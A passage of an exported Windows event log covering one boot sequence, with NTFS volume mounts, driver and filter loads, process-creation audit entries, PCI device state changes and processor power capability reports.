{00000000-0000-0000-0000-000000000000}\n           Device manufacturer: \n           Device model: \n           Device revision: \n           Device serial number: \n           Bus type: \n           Native NVMe: false\n\n           Adapter serial number: \n\n           Media type: Hard disk\n           Runs cached: 6049\n           Longest run cached: 73.38 GB\n           Most populated bin Count: 72\n           Most populated bin's minimum length: 7.51 MB\n           Most populated bin's maximum length: 7.75 MB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.313\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n           Volume name: Windows\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolumeShadowCopy3\n           Device GUID: {00000000-0000-0000-0000-000000000000}\n           Device manufacturer: \n           Device model: \n           Device revision: \n           Device serial number: \n           Bus type: \n           Device number: 4294967295\n           Boot partition: false\n\n           Native NVMe: false\n\n           Adapter serial number: \n           \n           Total mount duration: 39 ms\n           Longest stage: 7. Duration 35 ms (90% of the total)\n           Second longest stage: 8. Duration 2 ms (5% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.360\t6\tFile System Filter 'QesEngEx' (10.0, \u200e2025\u200e-\u200e10\u200e-\u200e23T14:48:14.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:49.364\t6\tFile System Filter 'UCPD' (10.0, \u200e2104\u200e-\u200e11\u200e-\u200e25T06:34:34.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:49.436\t7036\tThe  service entered the Driver load complete state.\tInformation\tSystem\tVfpExt\n05.09.2026 08:28:49.436\t7036\tThe  service entered the Driver load start state.\tInformation\tSystem\tVfpExt\n05.09.2026 08:28:49.460\t6\tFile System Filter 'npsvctrig' (10.0, \u200e1978\u200e-\u200e05\u200e-\u200e14T16:13:30.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:49.486\t125\t\"ACPI thermal zone \\_TZ.TZ00 has been enumerated.             \n_PSV = 0K             \n_TC1 = 0             \n_TC2 = 0             \n_TSP = 0ms             \n_AC0 = 366K             \n_AC1 = 328K             \n_AC2 = 323K             \n_AC3 = 318K             \n_AC4 = 313K             \n_AC5 = 0K             \n_AC6 = 0K             \n_AC7 = 0K             \n_AC8 = 0K             \n_AC9 = 0K             \n_CRT = 388K             \n_HOT = 368K             \nminimum throttle = 0             \n_CR3 = 0K\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Power\n05.09.2026 08:28:49.493\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x104\n\tNew Process Name:\t\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x4\n\tCreator Process Name:\t\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:49.493\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x130\n\tNew Process Name:\tRegistry\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x4\n\tCreator Process Name:\t\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:49.493\t4696\t\"A primary token was assigned to process.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nProcess Information:\n\tProcess ID:\t0x4\n\tProcess Name:\t\n\nTarget Process:\n\tTarget Process ID:\t0x130\n\tTarget Process Name:\tRegistry\n\nNew Token Information:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:49.493\t4826\t\"Boot Configuration Data loaded.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nGeneral Settings:\n\tLoad Options:\t\t-\n\tAdvanced Options:\t\tNo\n\tConfiguration Access Policy:\tDefault\n\tSystem Event Logging:\tNo\n\tKernel Debugging:\tNo\n\tVSM Launch Type:\tAuto\n\nSignature Settings:\n\tTest Signing:\t\tNo\n\tFlight Signing:\t\tNo\n\tDisable Integrity Checks:\tNo\n\nHyperVisor Settings:\n\tHyperVisor Load Options:\t-\n\tHyperVisor Launch Type:\tAuto\n\tHyperVisor Debugging:\tNo\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:49.495\t10118\tUMDF reflector is unable to connect to service control manager (SCM). This is expected during boot, when SCM has not started yet. Will retry when it starts.\tInformation\tSystem\tMicrosoft-Windows-DriverFrameworks-UserMode\n05.09.2026 08:28:49.496\t219\t\"The driver \\Driver\\WUDFRd failed to load.\nDevice: ROOT\\VIRTUAL_HID\\0000\nStatus: 0xC0000365\"\tWarning\tSystem\tMicrosoft-Windows-Kernel-PnP\n05.09.2026 08:28:49.499\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x3d0\n\tNew Process Name:\tC:\\Windows\\System32\\smss.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x4\n\tCreator Process Name:\t\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:49.976\t10118\tUMDF reflector is unable to connect to service control manager (SCM). This is expected during boot, when SCM has not started yet. Will retry when it starts.\tInformation\tSystem\tMicrosoft-Windows-DriverFrameworks-UserMode\n05.09.2026 08:28:49.977\t219\t\"The driver \\Driver\\WUDFRd failed to load.\nDevice: PCI\\VEN_8086&DEV_7D03&SUBSYS_21051EE7&REV_04\\3&11583659&0&20\nStatus: 0xC0000365\"\tWarning\tSystem\tMicrosoft-Windows-Kernel-PnP\n05.09.2026 08:28:50.038\t4\t\"Flags [1126312223703044] were applied to device [USBXHCI:ALL] - class [USBXHCI].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.038\t4\t\"Flags [7206885442550497440] were applied to device [USBXHCI:PCI\\VEN_8086] - class [USBXHCI].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.042\t4\t\"Flags [2181300322] were applied to device [USBXHCI:PCI\\VEN_8086] - class [USBXHCI2].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.042\t4\t\"Flags [5242880] were applied to device [USBXHCI:PCI\\VEN_8086&DEV_7EC0] - class [USBXHCI2].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.047\t4\t\"Flags [1126312223703044] were applied to device [USBXHCI:ALL] - class [USBXHCI].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.047\t4\t\"Flags [7206885442550497440] were applied to device [USBXHCI:PCI\\VEN_8086] - class [USBXHCI].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.048\t4688\t\"A new process has been created.\n\nCreator Subject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x3E7\n\nTarget Subject:\n\tSecurity ID:\t\tS-1-0-0\n\tAccount Name:\t\t-\n\tAccount Domain:\t\t-\n\tLogon ID:\t\t0x0\n\nProcess Information:\n\tNew Process ID:\t\t0x3f4\n\tNew Process Name:\tC:\\Windows\\System32\\autochk.exe\n\tToken Elevation Type:\tTokenElevationTypeDefault (1)\n\tMandatory Label:\t\tS-1-16-16384\n\tCreator Process ID:\t0x3d0\n\tCreator Process Name:\tC:\\Windows\\System32\\smss.exe\n\tProcess Command Line:\t\n\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\n\nType 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\n\nType 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\n\nType 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:50.050\t4\t\"Flags [2181300322] were applied to device [USBXHCI:PCI\\VEN_8086] - class [USBXHCI2].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.050\t4\t\"Flags [1048576] were applied to device [USBXHCI:PCI\\VEN_8086&DEV_7E7D] - class [USBXHCI2].\n\nFlags source: applied through compatibility database.\"\tInformation\tMicrosoft-Windows-Kernel-ShimEngine/Operational\tMicrosoft-Windows-Kernel-ShimEngine\n05.09.2026 08:28:50.079\t101\tInitialized VolumeCacheMap for device guid: {23cb36d7-dcac-4575-b04d-8288cc1f8e2a}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:50.118\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:50.126\t1\t\tInformation\tSystem\tWDTDrv\n05.09.2026 08:28:50.205\t155\t\"Host processor features mask: \n\nHost xsave features mask: 0x4058381F\n\nHost cache line flush size: 64 bytes\"\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:50.208\t1\t[PDO] (0x0000.0x02.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.236\t1\t[PDO] (0x0000.0x02.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.237\t1\t[PDO] (0x0000.0x08.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.237\t1\t[PDO] (0x0000.0x0b.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.244\t101\tInitialized VolumeCacheMap for device guid: {b4de30fc-d998-46fa-9187-a8f915fd81fc}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:50.267\t1\t[PDO] (0x0000.0x08.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.267\t1\t[PDO] (0x0000.0x0b.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.269\t1\t[PDO] (0x0000.0x14.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.269\t1\t[PDO] (0x0000.0x14.0x03): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.269\t1\t[PDO] (0x0000.0x0d.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.299\t1\t[PDO] (0x0000.0x0d.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.299\t1\t[PDO] (0x0000.0x14.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.299\t1\t[PDO] (0x0000.0x14.0x03): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.299\t1\t[PDO] (0x0000.0x16.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.300\t7036\tThe \\Device\\NDMP2 service entered the Intel(R) Wi-Fi 6 AX201 160MHz state.\tInformation\tSystem\tNetwtw14\n05.09.2026 08:28:50.304\t7029\t7029 - Wi-Fi Driver Initialization\tInformation\tSystem\tNetwtw14\n05.09.2026 08:28:50.306\t55\t\"Processor 2 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 3600\nMaximum performance percentage: 100\nMinimum performance percentage: 27\nMinimum throttle percentage: 2\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.308\t55\t\"Processor 3 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 3600\nMaximum performance percentage: 100\nMinimum performance percentage: 27\nMinimum throttle percentage: 2\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.311\t55\t\"Processor 4 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 3600\nMaximum performance percentage: 100\nMinimum performance percentage: 27\nMinimum throttle percentage: 2\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.313\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume name: D:\n           Volume label: Data\n\n           Device name: \\Device\\HarddiskVolume4\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 59915\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.313\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume name: D:\n           Volume label: Data\n\n           Device name: \\Device\\HarddiskVolume4\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 11\n           Longest run cached: 607.51 GB\n           Most populated bin Count: 3\n           Most populated bin's minimum length: 992.01 MB\n           Most populated bin's maximum length: -\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.313\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume name: D:\n           Volume label: Data\n\n           Device name: \\Device\\HarddiskVolume4\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Device number: 0\n           Boot partition: false\n\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n           \n           Total mount duration: 71 ms\n           Longest stage: 7. Duration 61 ms (86% of the total)\n           Second longest stage: 5. Duration 4 ms (6% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.313\t98\tVolume D: (\\Device\\HarddiskVolume4) is healthy.  No action is needed.\tInformation\tSystem\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.314\t55\t\"Processor 5 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 3600\nMaximum performance percentage: 100\nMinimum performance percentage: 27\nMinimum throttle percentage: 2\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.314\t7027\t7027 - Wi-Fi Driver Info\tInformation\tSystem\tNetwtw14\n05.09.2026 08:28:50.316\t55\t\"Processor 6 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 3600\nMaximum performance percentage: 100\nMinimum performance percentage: 27\nMinimum throttle percentage: 2\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.318\t55\t\"Processor 7 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 3600\nMaximum performance percentage: 100\nMinimum performance percentage: 27\nMinimum throttle percentage: 2\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.320\t55\t\"Processor 8 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 3600\nMaximum performance percentage: 100\nMinimum performance percentage: 27\nMinimum throttle percentage: 2\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.323\t55\t\"Processor 9 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 3600\nMaximum performance percentage: 100\nMinimum performance percentage: 27\nMinimum throttle percentage: 2\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.325\t55\t\"Processor 10 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 1200\nMaximum performance percentage: 380\nMinimum performance percentage: 100\nMinimum throttle percentage: 6\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.328\t101\tInitialized VolumeCacheMap for device guid: {071ed15c-a672-4f3b-b36f-218dce297808}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:50.330\t1\t[PDO] (0x0000.0x16.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:50.332\t2\tIntel(R) Management Engine Interface driver has started successfully.\tInformation\tSystem\tMEIx64\n05.09.2026 08:28:50.339\t55\t\"Processor 11 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 1200\nMaximum performance percentage: 380\nMinimum performance percentage: 100\nMinimum throttle percentage: 6\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.353\t55\t\"Processor 12 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 1200\nMaximum performance percentage: 380\nMinimum performance percentage: 100\nMinimum throttle percentage: 6\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.353\t101\tInitialized VolumeCacheMap for device guid: {580f6681-a25f-4cec-9096-3d65cabf1f4a}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:50.355\t55\t\"Processor 13 in group 0 exposes the following power management capabilities:\n\nIdle state type: Micro Power Engine Plugin (11 state(s))\n\nPerformance state type: ACPI Collaborative Processor Performance Control\nNominal Frequency (MHz): 1200\nMaximum performance percentage: 380\nMinimum performance percentage: 100\nMinimum throttle percentage: 6\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Processor-Power\n05.09.2026 08:28:50.359\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume name: \\\\?\\Volume{580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume label: WinRE\n\n           Device name: \\Device\\HarddiskVolume7\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 160\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.359\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume name: \\\\?\\Volume{580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume label: WinRE\n\n           Device name: \\Device\\HarddiskVolume7\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 1\n           Longest run cached: 30.55 MB\n           Most populated bin Count: 1\n           Most populated bin's minimum length: 30.01 MB\n           Most populated bin's maximum length: 31 MB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.359\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume name: \\\\?\\Volume{580f6681-a25f-4cec-9096-3d65cabf1f4a}\n           Volume label: WinRE\n\n           Device name: \\Device\\HarddiskVolume7\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Device number: 0\n           Boot partition: false\n\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n           \n           Total mount duration: 8 ms\n           Longest stage: 2. Duration 2 ms (25% of the total)\n           Second longest stage: 1. Duration 2 ms (25% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.359\t98\tVolume \\\\?\\Volume{580f6681-a25f-4cec-9096-3d65cabf1f4a} (\\Device\\HarddiskVolume7) is healthy.  No action is needed.\tInformation\tSystem\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.376\t101\tInitialized VolumeCacheMap for device guid: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:50.383\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume name: \\\\?\\Volume{f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume label: Onekey\n\n           Device name: \\Device\\HarddiskVolume6\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Device number: 0\n           Boot partition: false\n\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n           \n           Total mount duration: 9 ms\n           Longest stage: 5. Duration 2 ms (21% of the total)\n           Second longest stage: 1. Duration 2 ms (21% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:50.383\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume name: \\\\?\\Volume{f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n           Volume label: Onekey\n\n           Device name: \\Device\\HarddiskVolume6\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 2268\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 